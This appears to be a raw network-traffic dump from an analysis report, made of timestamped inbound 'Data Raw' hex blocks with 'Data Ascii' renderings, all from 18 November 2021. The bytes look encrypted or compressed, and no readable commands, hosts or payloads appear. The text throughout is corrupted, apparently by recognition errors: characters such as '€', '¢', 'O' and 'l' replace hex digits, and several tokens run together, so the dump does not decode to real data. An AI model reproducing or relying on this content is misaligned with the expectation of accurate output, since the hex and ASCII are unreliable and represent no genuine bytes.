6d 3e e5 57 f6 b2 7d 58 66 a5 8d 09 89 ¢6 71 89 8b 8a 17 71 bl ac 3d 2e 32 c2 ef 30 5e 86 52 72 f8 5b 1c 29 c7 fa 76 Ob
61 8a 1e 09 e6 7c bc 69 42 c4 c2 2a dd 5a Oc 9e 3a 47 89 61 80 eb 8b 66 6b 4a 02 €0 ea 98 89 fc 58 2d Ob 1b 6¢ 3d 4e c5
ch 7b5a 37 35 ce d2 ch 51 17 e7 75 2d 02 66 1d 5¢ 89 13 €7 30 9d 65 ac c2 a8 cb 2b 99 Ob 09 75 c6 93 2e 01 df 07 c9 fd
3llaac6ce2al21d7 2e 74 50 e6 1le 27 06 4c 9¢c 50 e7 7c 09 5¢ ¢7 ed cb 2a db 77 91 21 09 84 c1 9c 62 cc d1 ee 69 db
b3 3b 4f 8a 5b 6b 66 4e b7 23 fa 02 1f 66 f4 68 10 8¢ df 44 1a 26 bd b9 79 1d 16 33 9d 9a 53 {7 4¢c 42 97 e2 14 74 6d e4
2105 ef 75 a8 c3 b7 65 28 a8 b7 a5 84 6 49 49 db 45 55
Data Ascii: Z%Fd355j@Y1P1-NdSm>W}Xfqq=.20"Rr[)va|iB*Z:GafkIX-I=N{Z75Qu-f\0e+u.1Il.tP'LP|\*w!bi;O[kfN
#fhD&y3SLBtm!ue(IIEU

2021-11-18 09:30:32 UTC 763 IN Data Raw: 6d 21 1f 16 c9 c4 10 e6 4d 4b b4 da 21 5e f1 ae 32 2c db dd 30 2c 37 29 4e f2 74 4e ac 3f 2e fa aa 03 b5 €6 45
7a2b 253 37 a5 98 18 01 37 b7 1b 1d 29 36 b8 5e 11 50 4e 12 db d9 be 68 26 84 09 37 €8 66 2d e6 f4 c2 e4 1f a8 d4 cb
eb d5 e2 5c¢ f1 99 49 c6 6f 98 ¢5 84 55 2c 09 c2 0a 89 f2 80 7c 9e 52 58 36 79 31 95 dd 11 13 66 41 df 54 fd 5 f2 71 Ob a5
08 04 01 3f b0 84 €9 b5 c6 8f f4 d3 d0 64 e7 cO c2 66 31 39 05 95 51 5a 60 89 db 29 30 b4 1b d1 ce 2e ec a5 a2 ee a9 63
d7 59 23 65 f6 65 cb eb f3 15 4b fa ca 8d 38 b9 59 dc 84 c1 1f ae 29 b7 66 e4 40 c6 f2 ac c1 28 21 d1 b3 2c 29 c6 dc c9 e2
04 dc 98 cc 2¢ 03 60 18 28 6¢ e2 Oe 57 b5 b2 52 70 50 12 21 da b9 ab 35 42 al b6 6e 28 df 01 b5 dc de 62 89 de d7 70
€0 5b df 34 6a ba cc 56 8b 6a 17 9a 19 25 10 f3 29
Data Ascii: mIMK!42,0,7)NtN?.Ez+%77)6"PNh&7f-\loU,|[RX6y1fATq?df19QZ")0.cY#eeK8Y)f@(!,), (IWRpP!5Bn(bp[4jVj%)

2021-11-18 09:30:32 UTC 779 IN Data Raw: d5 04 33 ee ff cb ce 5e f6 56 12 f7 05 €8 09 96 a8 10 4b 8b 23 21 e7 27 5f 4e 21 7e c7 97 98 6e ef 39 bd 1a 85
89 eb 79 7b 49 57 66 7a 27 01 cf f7 84 ba 9c b2 ¢7 ca ee 1d 28 71 2d 31 da f0 bd b1 91 6f ¢ ff 5b 05 2f d1 24 a7 59 84 2e
8a 3¢ 27 67 c5 14 88 ef 75 49 f4 ce 64 c6 d9 c0 3f a2 d8 c9 6 5d d9 da 4b 32 18 5f e2 d7 42 38 d6 00 c8 88 a5 ba a6 fe 5¢
67 21 cb b d8 14 f6 d3 d3 34 7c f1 Ob 78 b5 4a ef cb 93 48 4b c5 01 d7 dd 9c 44 04 cb 91 35 d6 56 fb b1 69 7a e8 82 5a
8b af 12 f7 99 a8 ea a5 84 66 32 58 c6 96 a0 4c 09 c0 72 a2 92 {7 Ob a8 el be 39 6a 2¢ ba 80 b5 94 9e b5 c2 97 3a 17 42
54 16 92 5b b4 86 84 e0 aa 7f 7c 2e 7 bf bb 59 20 4d a8 22 71 8b dc 65 b9 32 5¢ 09 55 b3 €3 c2 df ce 50 80 8d 7 64 99
65 6b f0 6b 95 16 50 9 45 12 16 26 fb d8 f6 €9
Data Ascii: 3\VK#!'_NI~n9y{IWfz'(q-10[/$Y.<'guld?]K2_B8Ug!4|xJHKD5VizZ2XLr9j,:BT[|.Y M'qe2\UPdekkPE&

2021-11-18 09:30:32 UTC 795 IN Data Raw: 79 22 49 62 50 79 d5 4e c9 39 ee 58 34 8b Oe 84 fd Ob 89 c1 31 6b 9c 3a 34 9e Oa d6 ff fd 93 d7 fb 9d c1 7a d9
e7 3c a7 c5 09 c7 98 19 2b 4a Oe f9 d5 c9 1c e6 38 25 cf 24 b1 b1l 04 72 5¢ d6 b9 dc 4e be be 5 b0 8d de 97 76 €8 25 76
5e 2f d2 8b 97 76 e7 e7 21 69 5d 32 1c fd 8b 20 9b €0 c3 fe d2 c6 d5 71 06 69 5d b2 Oe e6 08 2e ee dc 72 72 c6 22 c9 ae
2157 3359 4b 92 f9 6e 4a 36 95 18 b6 70 3d 2f 49 9c 61 88 38 ce 99 89 01 2b e3 90 6b ac 1c b6 95 09 bd 7b ab 89 29 fe
5 5b 50 a7 29 e2 53 31 3c 12 de 29 ff 64 de fa e4 37 f6 84 95 b2 le f1 53 a0 1f b5 32 d9 7d 71 3a 92 11 e2 9d c5 f6 9¢ 39
b5 6b 8c le ee 5f ac 28 7f 09 48 de 31 a2 dc f9 9d a2 fe 72 01 4a be ec ad f5 ae 17 5b 74 a8 e3 dc 2d 29 d4 fd cf ab 49 79
23 4b 6 f6 25 96 ae a2 04 14 65 95 2b c0 57 3c
Data Ascii: y"IbPyN9X41k:4z<+J8%S$r\Nv%v//VvIi]2 qi].rr"'W3YKnJ6p=/1a8+k{)[P)S1<)d7S2}q:9k_(H1r[t-)ly#K%e+W<

2021-11-18 09:30:32 UTC 811 IN Data Raw: 7¢c b7 ed 50 3e ba 13 3b a9 3a ca el Oc 88 c6 1c ac Oc 27 d1 2d af f1 ce 09 89 13 57 ec 5e 27 31 d3 7d 99 a4 f2
55 7a 32 d1 0d 92 bb 54 20 09 f6 75 76 6d 52 81 d3 09 fe 05 51 0f c7 06 23 e8 29 9c b6 a4 ac 6a d1 09 21 d8 7e cb Ob 09
f3 66 7c dd b4 a5 fa c1 a5 8f a6 13 03 31 db 89 de 76 2c 59 ca 51 8¢ 2b 20 ce b1 d4 a7 7f c2 9b 7f b0 1b 29 8 cb 41 ¢3 d9
2597 ba ee 8a 01 4e a3 5b 05 29 d2 21 cb 84 c8 36 95 99 6a f2 54 49 2¢ 93 26 fc 72 62 €0 47 43 24 27 c2 ca 75 22 31 d2
75 4c 78 4c 0f 3f 92 53 04 b9 2d 96 13 b5 2d db a7 18 d5 14 63 97 de cb 4f 80 0f 22 59 84 6d 9b 76 27 77 a2 8a 21 ca 55
41 db ea 6e 67 3c 8a 3b 1c 2d 28 d4 97 ce el b7 19 57 c2 23 a8 28 f2 63 82 dc df 53 15 12 35 33 9a d0 b3 de c2 c2 98 2d
€6 45 88 09 c6 ba 78 €9 3b fe 31 df 37 e2 f0 el Ob
Data Ascii: |P>;:'-WA'1}Uz2T uvmRQ#)j!~f|1v,YQ+ )A%N[)!6jTI,&rbGCS$'u"LuLxL?S--cO"Ymv'w!UANg<;-(W#(cS53-Ex;17
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 827 IN Data Raw: d1 d0 92 bb 13 5b 52 63 8a 35 4a ad 16 2b 3b 4d Ob 2b 17 59 33 93 c6 ae 28 4d 6 4e c5 2d 71 2a d5 72 8a 7f
4c 73 4c 41 47 be 25 ea 9a 58 55 ea 3¢ 67 77 27 7f 9a e0 77 5e 34 64 75 a2 6e 4c e6 51 Oe 28 55 c5 €6 1c e2 db d7 bb
65 78 ee f2 ea 96 ba 8b 6¢ 76 b3 f1 bf 2e c5 7a 6b d5 cc 2c a2 ed 14 c¢2 97 d5 14 96 b0 31 82 c2 45 3e b4 52 ee dd {7 18
bf ea 96 54 ca c9 66 de d6 b5 fe 73 14 1c a0 b3 09 e4 ab ac fc el e9 b2 2a 84 df 98 ee 89 5f fe 34 1a 10 b7 57 8e 0f ab dO
7f a4 6e dc a8 86 al e6 49 2a 9c d8 1c 96 60 52 55 18 ca Of bf ca 56 fe 25 42 ce 3c d1 a6 48 70 64 de ad e9 93 57 68 53
a5 eb 2c 49 07 97 6e f2 94 84 24 47 5a 62 6e 56 58 68 8e 48 70 20 83 bd fb 3d a6 0d 4a 79 49 de 4e 92 04 8a 94 5c 1f 5¢
df b0 17 €9 68 93 bb 2d 56 bd c9 a9 7c 7e 78 51 90 52 12
Data Ascii: [Rc5J+;M+Y3(MN-g*rLsLAG%XU<gw'w dunLQ(Uexlv.zk, 1IE>RTfs*_4Wnl**'RUV%B<HpdWhS,In
$GZbnVXhHp =JyIN\h-V|~XQR

2021-11-18 09:30:32 UTC 843 IN Data Raw: 07 fe 51 89 00 el 53 bb d2 b1 ff 7d c1 2c e3 04 f3 00 24 1d fb df 01 d9 79 5b 4a €9 be cd bd 2b 92 e8 2c 0f dO
27 6 fc 06 50 31 ff 5f c2 cb 0a 40 67 89 4a ce fa 8e e4 00 09 36 e5 1c d3 bc d7 00 5d 7c f1 3d 51 a8 12 58 09 57 ff 6f dc
99 3fe9 d8 3d 3f c3 Oa d6 d4 2f 81 d9 ca fO 58 4c 61 2a 18 3e 81 23 84 Oa d2 d8 27 1f 97 05 01 87 Ob 07 86 fa f8 ae 24 9a
b3 10 44 4a 1a c8 28 €8 75 04 0f b6 17 c8 8e 69 88 33 16 b9 26 11 35 7a 4d 13 87 25 69 53 bb 10 35 80 29 f0 2b e4 77 97
5b c2 0a 31 10 28 26 c0 al 4d e4 06 21 b7 07 44 1b Oe 3a 03 33 ee b6 97 3d 33 d1 46 03 14 01 8d 67 61 61 2b e0 16 el
5a 4218 17 29 77 24 37 13 0b 05 51 24 04 f2 a3 07 8a 57 1b 66 29 63 5d c8 01 84 c7 5d b6 24 5b 80 98 3d 2f 37 24 54 66
56 06 75 €6 01 40 72 d8 02 f9 88 chb 80 e3 1f 77 11
Data Ascii: QS},$y[J+,'P1_@gJ6]|[=QXWo?=?/XLa*>#$DJ(ui38&5zM%iS5)+w[1(&M!D:3=3Fgaa+ZB)w$7Q$Wr)c]|$[=/
7$THVu@rw

2021-11-18 09:30:32 UTC 859 IN Data Raw: 84 fb 43 12 06 67 €8 29 18 08 15 13 0a c0 31 80 7e 94 16 4e 4b 8e Ob d2 f8 00 12 40 74 b4 fd 24 5a 70 74 1f
c4 07 46 8f 9e b0 15 d6 e8 1c 76 6b 09 Ob 21 ab 6¢ 00 8c d9 22 7d 93 00 4 b5 cd 01 4e 97 e7 fd Ob 87 48 3a 6e 87 4e 58
49 Oe 4c c2 eb 34 7d c1 9a 2a d8 0f 43 00 de 27 80 96 e5 a6 ca fe 76 4d Oe ef 05 78 39 c0 81 d0 19 6f 85 fa bf Of d8 Oc a7
f0 8a 63 f4 02 89 bd 1c 65 dd ca 58 60 a2 b0 f9 00 42 58 a7 68 33 67 aa f3 00 41 57 d3 94 ab df 51 9a 2c e8 fe e2 3b 00
85 20 69 bc d2 4b Oc ec 54 fe e3 00 2d 43 91 52 fd 31 7f a3 00 56 6a €9 8c cd 51 94 f2 26 99 34 5a 40 71 2f f3 d6 Oa €9 3a
64 2c b2 Ob 1d 11 80 ae 24 8f 15 27 00 40 98 13 62 16 3a 93 0d e6 17 00 6d 70 c8 24 3d 69 79 5f 7c 9f 00 28 5d 96 73 05
b8 e9 74 31 07 3f 50 c6 24 97 5a 64 40 fa 68 38 78
Data Ascii: Cg)1~NK@t$ZptFvk!I"}NH:nNXIL4}*C'vMx9oceX BXh3gAWQ),; iIKT-CR1VjQ&4Z@q/:d,$'@b:mp$=iy_|(]st1?
P$Zd@h8x

2021-11-18 09:30:32 UTC 875 IN Data Raw: 37 0d 29 c8 ba 95 d7 bb 11 4a d4 89 25 29 71 Oc 80 21 d8 el c0 96 b4 69 76 52 68 ae 53 f2 32 ¢5 51 2d 42 ab
f1 77 42 cf 1f fb fc 2d 69 4a b8 38 69 a4 ee 0d 4a cf 66 db e6 9e 81 8a 45 02 36 11 df 21 3e 04 a9 66 39 66 d7 18 a2 5e
89 €9 f6 be ca 1d 70 09 11 15 21 c0 05 c9 81 94 0f 85 23 29 24 d4 71 6b 70 d7 b1 7b €9 eb €5 67 2b c5 dO b3 96 60 58 d7
0f 85 1d bf 9a 1e 09 ba 5e 2f ed 64 46 02 5c 86 2c 6b fO 5¢ ¢7 13 a5 99 03 3a 2a 94 94 84 ed bf 01 2d aa ad 8f Oa 7e f2 5¢
97 ee 73 d4 0f 87 08 af 5e d2 16 58 ad bf 93 64 01 bf bc 2a d3 99 c9 3f b6 bb 58 4e al e6 04 78 49 b5 ae 31 Oc ca 20 39
a7 8e d7 49 c6 5f 6¢ 88 7d c2 aa 6b c2 36 d5 30 c5 df 2b 7c Ob 9d 4c 76 95 05 8d ¢7 98 d2 21 16 d7 09 Oe a8 52 5b 8a 78
53 9c¢ 5b 92 7d ¢2 57 16 ae 9d 5f 94 45 b7 09 87 fb 0d
Data Ascii: 7)3%)q!ivRhS2Q-BwB-iJ8IJfE6!>fIf\p!#)Sakp{g+ X dF\ K\:*-~\s"Xd*?XNxI1 9I_I}k60+|LVIR[XS[}W_E

2021-11-18 09:30:32 UTC 891 IN Data Raw: Oe ca 32 38 35 2e e3 7e 3c 52 fd 9e 16 66 56 be 91 f3 85 8b 10 ff c2 88 ¢4 1a 11 11 50 58 19 18 16 ff d3 90 fa
8b 56 5b a8 84 e2 14 d6 b1 c9 df b2 c6 56 51 e2 31 d6 dc dd ef 4b 32 80 c5 1b dO ce 24 94 a8 e5 09 ae da 65 24 11 2e d1
Oa 3c a2 a2 44 20 01 0f 68 21 28 15 64 83 00 2c 24 53 bb €9 9a 75 55 f2 5¢ 95 57 32 76 a8 c2 c1 84 77 23 1f fc 26 00 88
29 8c c4 80 329 27 45 08 el 62 69 3b a0 5a f3 09 33 63 59 1a 80 d2 5d ee 54 6a Oe 2a 41 d7 91 03 97 82 3b 27 21 d2 fd
b9 52 8e 6a 21 88 7d 74 82 78 dc fb 90 d5 e4 4a 7d a7 38 1b 55 Of al 5d 11 04 5b 49 b0 fb 66 61 67 1a €9 d0 ea 2c c0 16
7a 0a 09 ea f0 5f 4e ca 00 b4 ca 3d fe 12 46 86 cf 07 2c 42 bf 80 96 c3 65 ae €8 14 63 24 fe 7a 00 15 5e b9 cf 41 02 Oc 40
00 8f d8 e7 fd 60 21 39 6d 8c 1e 7c b0 f0 cf 48 5e
Data Ascii: 285.~<RfVPXV[VQ1K2$e$.<D h!(d,$SuU\W2vw#&)2'Ebi; Z3cY]Ti*A; IRj}txJ}8U][Ifag,z_N=F,Bec$z *A@ '19m|H"

2021-11-18 09:30:32 UTC 907 IN Data Raw: bd 3d 02 95 11 31 12 61 f9 40 27 2d 1e 80 48 5f ¢7 a8 50 20 1c 99 Oc 88 05 a5 18 96 d2 1c e0 97 42 72 88 03
2 eb 18 20 2d 1d 3e bl e4 3e 84 03 05 e7 ff bc fe 9d 08 88 0a 80 fb 5a 6¢ bb 3d 30 03 9d ¢3 68 77 3¢ ba 85 30 01 e9 25
2092 2d 37 27 4a 98 a3 d4 49 08 15 ea 86 1b 04 a7 d5 1c 06 f4 22 1f 30 37 97 33 b3 9f 19 80 a0 0d 40 06 96 62 2b 65 ac
b0 58 cd 33 4e 3e ac 5d d8 2d 1f 14 a3 84 33 86 e0 68 57 e5 0f 4e 55 83 3a ce 18 1b 25 14 51 82 9c 82 88 bf 40 bf db Ob
3f ad 91 99 ff 5a ab c4 ¢7 18 Oa 23 4e 30 48 d7 e4 49 02 84 f1 1a 59 51 7e 90 bc 91 11 24 cb 42 08 02 92 01 €0 ec c0 19
06 a0 c0 da b2 4d c5 d1 55 2d 6b e2 56 05 50 30 23 80 c4 ff 3e 81 1d f0 75 66 73 3e Oc al e9 fc d5 fO b8 bl 52 3d 16 e7
2a07 81 d1 ef 7f Oc 13 1c 01 7e fd 3c af f5 70 63 42 dc
Data Ascii: =1a@'-H_P Br ->>ZI=0hw<0% -7'J1"073@b+eX3N>]-3hWNU:%Q@?Z#NOHIY Q~$BMU-kVP0#>ufs>R=*~<pcB

2021-11-18 09:30:32 UTC 923 IN Data Raw: 3a a2 01 16 ed e8 48 e4 e2 7d c4 1c 35 40 ce f9 48 c6 b4 88 fe a0 11 0f 86 08 14 01 f2 ef 07 66 38 c7 54 64 ea
24 ae 24 30 af 12 82 99 70 37 05 69 ac 76 Oe e2 c1 1c 5d 15 89 09 31 da 62 d6 77 b cc ee 21 56 db 88 5b bc a4 3e de 27
d3 4c¢ 7 9d d5 10 b7 2b 38 92 12 5f fa 72 ca 20 11 f3 2e 10 98 ¢9 59 1c b5 a2 el 7c 3f 58 36 67 13 a4 56 04 8¢ 4f d3 al 20
3a 14 ba 16 ec a2 81 e8 Ob 00 fb 56 3a 2a b9 29 79 a9 56 61 13 13 09 0b bf f6 35 8d f6 04 2f ec f7 4d 1b c4 ¢3 40 53 a0 6¢
11 5f 47 af 34 3f e8 a7 89 3a 3 d6 8b 29 c3 dc a6 41 ee e5 e8 3e d4 36 1a e4 20 54 20 3a 58 09 41 bf 34 ab cb 9d 6 86
52 4e 7e 96 df 69 09 7f c1 23 ch 3a fc 44 a5 09 26 3a 77 d1 2d 25 Ob 41 1a 66 42 8¢ 58 fa 4a 9c ab 62 53 ba 87 42 29 db
5d 30 42 31 d6 97 79 fc 45 ef 12 4d 64 ¢3 cd 50
Data Ascii: :H}5@Hf8Td$$0p7iv]1bw!V[>'L+8_r .Y|?X6gVO :V:*)yVa5/M@S|_G4?2:)A>6 T :XA4RN~i#:D&:W-%ATBX
JbSB)]0B1yEMdP

2021-11-18 09:30:32 UTC 939 IN Data Raw: 04 82 17 €9 5b a5 52 01 a3 0a 78 52 63 85 c9 ee 46 54 86 b8 59 c2 bf 93 f6 7c 2a e6 06 8 67 b5 14 ff 9b be a7
747 e9 1f 17 8b €6 9c 66 99 2c ee 63 71 5a 44 5e 4e 1c cb 10 5b cc cf ce 4c 28 af b4 f8 e7 7e 9e 8 69 42 79 57 d4 8e 27
94 ec 21 ee 49 a2 53 9d 89 07 46 15 7a 21 b3 00 12 29 85 eb ab 92 a7 a8 d6 36 52 e2 2e 65 3a 2d 30 bd ce be 89 09 2c
16 3a 89 72 a9 94 3c 2c 6¢ a5 9d 8e a6 92 a2 e9 4a 92 Oc 88 c6 be e7 6e 29 d5 Oc 17 f6 b4 6¢ cb 64 89 98 6a 9c 5¢ ed 1c
2206 d2 13 12 2d ed a5 40 19 95 31 51 c9 bf 01 3b 29 d4 2b e9 af 93 e2 bf 26 c7 f1 c2 01 d7 7d 76 58 cb 7e c6 3d 25 67
65 1a 04 01 c7 09 ee bd bd 93 e2 Oe 4a fb 5e f1 92 a8 b2 c0 87 21 df e4 c7 aa a8 c4 a4 ab 34 f0 af f9 9e df a5 d7 6¢ 43 fO
ef 52 ac 08 7a 91 19 c7 e6 b9 ¢5 71 bb 26 63 a9 5a
Data Ascii: [RXRcFTY|*gGf,cqZD N[L(~iByW'ISFz!)6R.e:-0,:r<,1dn)ldj\"-@1Q;)+&}vX~=%ge I N4ICRzq&cZ

2021-11-18 09:30:32 UTC 955 IN Data Raw: be d0 68 98 92 63 d9 44 6f 64 c6 17 a3 a9 69 92 c5 77 ee b2 9e 89 06 d3 el 27 c1 d2 80 2a 8e db 25 04 71 fb
6f 89 dc 5b ef 26 5a ca 38 a7 5b 37 af 70 93 99 44 49 55 cc 56 b3 e2 27 7e 45 49 ff 11 c1 ee 3a ac 74 a3 31 6 2a 9d c6 6a
5b 16 5a e6 ba f5 64 33 98 9d bf f3 15 2e ff 12 90 f2 9e 92 ba 99 3a 7b €3 04 89 21 42 a1 50 78 fO 3c 97 le 7d 21 ee 63 a5
Ob 7a 94 60 27 2b 1f 7e 4a 13 d6 ed 75 ca 64 2e 48 9e 2e 5¢ €9 46 7d b0 00 bd 51 10 eb d9 c9 89 c6 02 5b aa a5 6a 66 fO
dc 8c 33 0a 29 f6 8b 07 af 25 75 b2 a0 57 53 3¢ 22 b6 9c e6 50 c¢7 76 8a f7 ca 26 77 32 fd 55 d9 af ad d4 9b 93 04 8b 19
4e 62 92 11 e5 d9 ad fe 49 13 f6 e8 dd b4 b9 9c 9a c4 5 66 a3 95 fc c7 4f dc 29 a6 4b 70 63 95 8b bd b2 c1 4a 3e df e5 3f
12 64 ac 78 dO e6 9e ee c0 c5 de fb 9d 7b 6a a4
Data Ascii: hcDodiw*%qo[&Z8[7pDIUV'~El:t1*[Zd3.:{!BPx<}!cz '+~Jud.H.\F}QI[jf3) %uWS<"Pv&w2UNbIfO)KpcJ>?dx{j
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kBytes
Timestamp transferred Direction Data

2021-11-18 09:30:32 UTC 971 IN Data Raw: ad b0 46 79 f2 63 a4 6f 8b 7d 5b 2e al 81 2a 99 c9 63 68 6b fa f4 ab 2f 76 b0 7b b2 75 56 b6 5a 18 b8 09 ce 93
2218 33 c0 ee 0f 95 45 60 04 09 d6 be 59 bl 21 a2 d2 el ef 53 29 29 e7 e4 de ae 35 d2 eb 83 al ee c4 ae 2c a4 e6 bb Of
11 9c 77 2f c1 b4 c2 39 d4 a6 60 89 d6 21 c6 97 46 41 12 0f b6 f8 10 a2 fb 4a ab 09 4f 80 71 ac 4d 50 2a ec 61 d1 95 8d
31 3e 30 d2 b7 5a 8 f9 ff 8a 80 8b ee 4b 7f b2 45 el 5f €6 6b a8 45 a4 ab 31 c6 f8 9¢c 52 dc 0a 51 6e 62 c2 6d 57 94 ca 27
8a 02 c9 3044 11 29 d6 2b bd ea 24 ef 75 69 08 12 b5 5a 5e 76 13 ef ¢9 5b 71 b0 6f 75 d3 af Ob 9a ea fd 66 a2 12 3a €9
42 9d 0f 7f e8 26 5f a9 d6 d4 73 d6 ba c9 3e 55 b9 98 a6 31 93 2¢ 92 ce e5 fh 2a bf 2c 23 3a 90 30 95 4e 3a 97 18 05 be
9c 16 90 51 77 ad 63 c4 01 33 ee 61 01 21 30 6b ed
Data Ascii: Fyco}[.*chk/V{uVZ"3E Y!S))5,w/9 IFAJOqMP*al>0ZKE_kE1RQnbmW'0D)+$uiZ*v[gouf:B&_s>U1,*#:0
N:Qwc3al0k

2021-11-18 09:30:32 UTC 987 IN Data Raw: 09 fd 38 10 d7 c1 b6 f2 ca 6f c8 24 94 €9 c2 d5 59 c9 a5 7c 24 64 d9 ab 82 c6 c9 7c 34 c2 f1 40 73 bf a5 f1 1e
af b1 fc 91 52 6e dc 71 8d 62 ee 9c 2a 7c Ob 8b 1f 22 a0 c1 49 2f 8b de {7 66 31 54 ce b2 c1 9d 46 dc 90 07 95 fc al 9b
d1 c4 92 c9 5f 7b 4d 08 01 d6 2c c0 48 c8 11 a8 16 31 de cc de 21 1a fe 01 eb 84 74 a7 6b 7c 93 14 f1 cd ca e9 6a 81 c3
72 24 47 36 6f a7 7 68 bc 48 4d 1d Ob 9d 4a 89 be 2b a0 89 1f 9f 5d 98 6e fe 8b 14 1a 31 c9 65 89 be d4 cc 5a a9 96 65 f1
Oc 09d1 al c6 44 1c 01 5 6a f6 dd 15 f1 45 24 21 11 21 62 3e 2b c5 a0 25 fc 80 63 c1 3c 2f 0d 2b f5 14 fa 86 €0 bf 5e 9c
9b c9 48 4a a0 €9 55 92 14 20 2e el ce 65 11 89 c6 2b a3 78 41 9d 7f 85 db €3 15 5e €3 5 40 75 21 4c d1 04 4a af 62 Oc
dc e6 38 9d 5f 32 63 71 26 2d d8 47 b7 e6 fd 25
Data Ascii: 80$Y|$d|4@sRngb*|"l/f1TF_{M,H1!tk|jr$G6ohHMJ+]n1leZeDjE$!!b>+%c</+"HJIU .e+xA*@u!LIb8_2cq&-G%

2021-11-18 09:30:32 UTC 1003 IN Data Raw: 58 b7 18 6e ce b1 08 Oc ff 10 d9 17 14 28 1e 7f 23 13 17 62 e6 c6 02 24 c5 c0 ef 29 4d 25 02 a2 7e 57 83 b3 e9
2151 75 f4 26 3b 30 3a 0a a3 df 9b 40 3f 4d 10 17 a0 b3 a2 5b 4c 16 38 3d b0 bl 23 fe 95 1c 89 34 59 42 Oc dc 62 96 e2
8d 97 77 94 9c 08 da 31 22 26 58 2a f7 12 c¢8 b6 07 ff a2 34 d2 a7 7d 2b Oe 30 3c 25 Oa 7 b8 4a 03 21 4e ff bd 71 dO 8f 4f
8a 0f 27 c6 c6 62 c9 38 89 d7 89 fd d5 04 43 c6 a8 11 df 96 ca 8c f7 09 4e 7 af 32 32 2 fc 39 64 29 f0 d7 c5 88 09 df 95 7f
9a d4 5f c2 4d 75 16 4a 4f f2 ee 2d ¢5 2b 35 62 b8 f8 d6 f3 9¢c 10 e6 02 96 bc 84 b3 bf 84 ac 0f a4 fa bd 8d 91 53 25 d7 d5
€6 16 27 f2 15 65 9e 09 21 df 5f 6¢ fd 82 06 fd dO c3 5f 21 ba 74 4d aa e8 da bl f2 9c 54 62 44 4c c2 be 57 fb 31 02 89 df
4c la ea 5e a8 cc 58 ca 53 68 cb 17 01
Data Ascii: Xn(#b$)M%~W!Qué&;0:@?M[L8=#4YBbw1"&X*4}+0<%J!NqO'h8CN229d)_MuJO-+5bS%'e!_|_ItMT
bDLW1L"AXSh

2021-11-18 09:30:32 UTC 1019 IN Data Raw: el 40 eb 3e bb 3d 6¢ 08 2c e2 4c 0f 3c b4 a0 f7 2b 02 8a 66 97 5f 31 d9 57 1b 4f c2 d1 d7 98 fd ee 29 4e ca b6
dc 4a fc c1 c6 33 06 b4 b5 e5 28 25 5f 66 59 a0 77 29 d1 d2 60 d8 d5 e3 42 3b 5a 84 6d bb a8 95 c9 ¢7 5c 0a 6e 49 c3 e6
15 2d b9 0a 94 f8 Ob 21 c1 89 06 d3 62 a0 96 bd 16 fd 22 e3 68 9f 50 b2 58 d0 3b 4e b8 a2 c4 01 d8 ba e8 48 c5 c6 05 09
4c c0 7d 9a c2 cl ba 16 3c 6a 7b 44 75 0d bc 02 c2 f1 11 51 13 88 ¢6 38 97 35 32 a8 f3 ff €5 7f 17 c1 ¢8 b0 db ¢5 20 25 dc
4a 4c 69 6¢ ad f9 7d 09 cO 05 bl 5a 63 14 c0 fe 03 16 31 25 d3 be ¢6 8¢ 2a 2d ac 07 a9 dd f0 c9 c8 f6 44 c2 25 05 45 65 7f
94 c1 67 29 25 9a 89 cb 64 65 4d 25 c6 56 2e 11 2d fO 64 dO a3 da 58 5b 4a fb dd fO 2b b6 dc 4b 20 9f 03 dO 1a 27 61 6d
5f32 e9 55 19 1b b9 44 79 ef 85 54 16 al e2 06
Data Ascii: @>=I,L<+f_1WO)NJI3(%_fYw) B;Zm\nl-!b"hPX;NHL}<{DuQ852 %JLil}Zc1%*-D%Eeg)%deM%V.-dX[J+K '
am_2UDyT

2021-11-18 09:30:32 UTC 1035 IN Data Raw: 80 b9 76 93 fa ca 44 4f 84 8b bb 16 43 b3 6b 5a 18 9f ¢5 ee dc b5 16 58 91 65 b0 2e 27 89 fe cb Oa ac e6 9b 4f
21 af caee 4af9 cl 8b 0f 96 ff 95 89 26 71 al c5 1c e8 05 al 8a 17 2b 35 bf al 8d 09 8¢ 2e e2 39 c9 ee 5¢ c4 5a 5e 2c 49
75 e5 bb 14 ¢6 25 2d 8b 7f 12 07 6¢ 75 99 d2 96 29 ab 8a 8f 5a 24 16 fe f4 50 e7 5f 99 28 77 33 16 Oe 01 f7 ab 9c 14 ¢7 b4
bd 4b 7e 62 c9 57 24 09 04 a8 3a a4 fb e3 b8 26 65 5¢ 72 cc ad 95 c2 d6 fd bb 4f 4f b6 be 72 b9 ef 59 3c c7 c6 6a 34 52
51 c1 27 df 29 b8 77 e2 d5 1b 60 b4 ab e2 07 93 bb a5 17 e9 a8 54 4f d8 85 {7 5¢ 67 62 a4 bb d9 e3 2b 84 24 f9 1a d7 f8
53 d7 ec 78 f4 eb b9 26 99 b1 29 ea 90 41 e7 15 bb 4f 26 d9 a7 ce 8a 95 51 54 69 d3 b3 a7 1a 18 70 ac be 8f 5a 5d d1 d4
be dc a2 d3 0a f7 f7 61 62 e7 75 79 cf 88 cf dc
Data Ascii: vDOCkZXe.'0lJ&q+5.9\Z", [u%-lu)Z$P_(W3K~bW$:&e\rOOrY<j4RQ")w TO\gh+$Sx&)AO&QTipZ]abuy

2021-11-18 09:30:32 UTC 1051 IN Data Raw: 67 2¢ c2 b2 99 7e 5f 52 c9 2b ee 78 4c b4 a9 a5 96 85 f0 fb 99 94 04 a2 8b 6b 55 60 33 9c 92 fb 8b ¢9 4d dc 5a
cb 3b 7c 52 02 a4 97 a3 64 9e a5 09 a5 ea e8 57 5e 30 53 84 ea a2 4b c4 f9 01 60 28 c3 9c 5f be e8 fc b2 89 5d 4c a3 95
79 88 64 f9 bb 8 7f e2 fa d5 6f a7 b6 2b 7c b1 48 62 89 f6 a5 22 dO bc 34 a2 be 5b bb 28 17 8c 0d b4 e8 25 7f ea 04 71 74
¢9 f9 d1 c5 50 b8 cO b5 aa 13 18 f2 dd cb 24 1c 3e 76 ce bc f5 €9 d6 4d eb dc 9¢ 16 de ca 7f 25 40 ¢5 9b 16 09 fb 75 91 a3
79 12 f6 40 61 b2 c6 c5 6¢ 73 f1 €6 04 14 a3 84 69 7a a2 7e c6 ac d9 97 49 7e 5a 93 64 8a 72 5a aa 32 12 cf f5 da ad 27
€2 32 e5 5a 2f f7 b3 a0 c0 ff 8a 1a d2 54 fc eb el ef be 2b 75 9c aa 04 9e c3 2d ba f6 b1 2d 3b db ef 23 9d b2 9b c7 dd 51
€7 69 54 be 6d be 22 4b c4 8a 02 f9 bc d2 67
